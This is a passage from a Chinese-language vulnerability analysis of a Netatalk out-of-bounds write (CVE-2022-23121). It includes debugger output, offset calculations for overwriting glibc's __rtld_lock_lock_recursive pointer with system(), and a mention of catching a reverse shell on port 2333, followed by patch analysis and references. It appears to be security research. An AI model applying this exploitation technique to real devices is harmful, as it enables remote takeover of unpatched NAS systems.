gef➤ x /i $pc=> 0x7efeac84c59d <_dl_open+61>: call QWORD PTR [rip+0x199c5] # 0x7efeac865f68 <_rtld_global+3848>gef➤ x /gx 0x7efeac865f680x7efeac865f68 <_rtld_global+3848>: 0x4141414141414000gef➤
在https://code.woboq.org/userspace/glibc/elf/dl-open.c.html 可以看到_dl_open
函数源码,该处为_dl_open
函数试图通过函数指针调用__rtld_lock_lock_recursive
指向的函数并把_dl_load_lock
地址作为指针参数传入该函数内。
void *_dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid, int argc, char *argv[], char *env[]){ if ((mode & RTLD_BINDING_MASK) == 0) /* One of the flags must be set. */ _dl_signal_error (EINVAL, file, NULL, N_("invalid mode for dlopen()")); /* Make sure we are alone. */ __rtld_lock_lock_recursive (GL(dl_load_lock));
_rtld_global
地址为0x7efeac865060
gef➤ p &_rtld_global$4 = (struct rtld_global *) 0x7efeac865060 <_rtld_global
__rtld_lock_lock_recursive
函数指针及参数dl_load_lock
均为全局变量_rtld_global
的成员
# define GL(name) _rtld_local._##name# else# define GL(name) _rtld_global._##name定义在_rtld_local=_rtld_global
初始化过的全局变量存放在.data段,在ld.so中.data段的偏移为0x2e060
。
此时可以利用任意写将获取到的system函数地址覆盖到__rtld_lock_lock_recursive
内,并且将要执行的命令放入_dl_load_lock
即可造成命令执行。
命令执行
此前说过任意写是将map + ad.ADEID_RFORK.off
处长为ad.ADEID_RFORK.len
的数据写入到map + ad.ADEID_FINDERI.off + 0x20
内,而在分配大小小于0x1000
情况下,mmap
函数分配的内存刚好在data
段上面,此时mmap
分配的内存地址距离要覆盖的_dl_load_lock
参数为0x2968
,以此可得ad.ADEID_FINDERI.off=0x2948
$7 = (__rtld_lock_recursive_t *) 0x7efeac865968 <_rtld_global+2312>gef➤ p &_rtld_global._dl_load_lock Quitgef➤ p 0x7efeac865968 - 0x7efeac863000$8 = 0x2968
同时还要覆盖到__rtld_lock_lock_recursive
函数指针,测算可得至少需要复制0x600
的长度才能覆盖到函数指针,此处可以设置复制长度为0x620
gef➤ p &_rtld_global._dl_rtld_lock_recursive$10 = (void (**)(void *)) 0x7efeac865f68 <_rtld_global+3848>gef➤ p 0x7efeac865f68 - 0x7efeac863000$11 = 0x2f68gef➤ p 0x2f68 - 0x2968$12 = 0x600
利用上述偏移,加上计算得到的system
函数地址,生成可用文件,如下:
此时在目标主机内已有了该定时任务,在攻击机上监听2333端口即可收到反弹的shell
十三、补丁分析
在Netatalk3.1.13版本中修复了该漏洞,在新版本中,先检查if中的条件而后给ad指向的结构体赋值,如果if中条件为真,也就是可能发生了越界则直接打印错误消息而后return -1,只有if条件不满足才继续赋值,从而防止了adouble结构体含有不正确的偏移,在外层函数获取到的偏移在范围内从而修复了该漏洞。
十四、函数解释
**void** *memmove (**void** *__dest, **const** **void** *__src, size_t __n)// dest指向要复制的目标内存,src指向要复制的数据内存,n为要复制的大小(字节)// 如果dest和src指向的内存重叠,该函数仍然可以正常处理,逻辑如下 char str[] = "memmove can be very useful......";memmove (str+20,str+15,11);// 输出为 memmove can be very very useful.
十五、参考链接
https://code.woboq.org/userspace/glibc/elf/dl-open.c.html#_dl_open
https://nosec.org/home/detail/4997.html
https://research.nccgroup.com/2022/03/24/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121/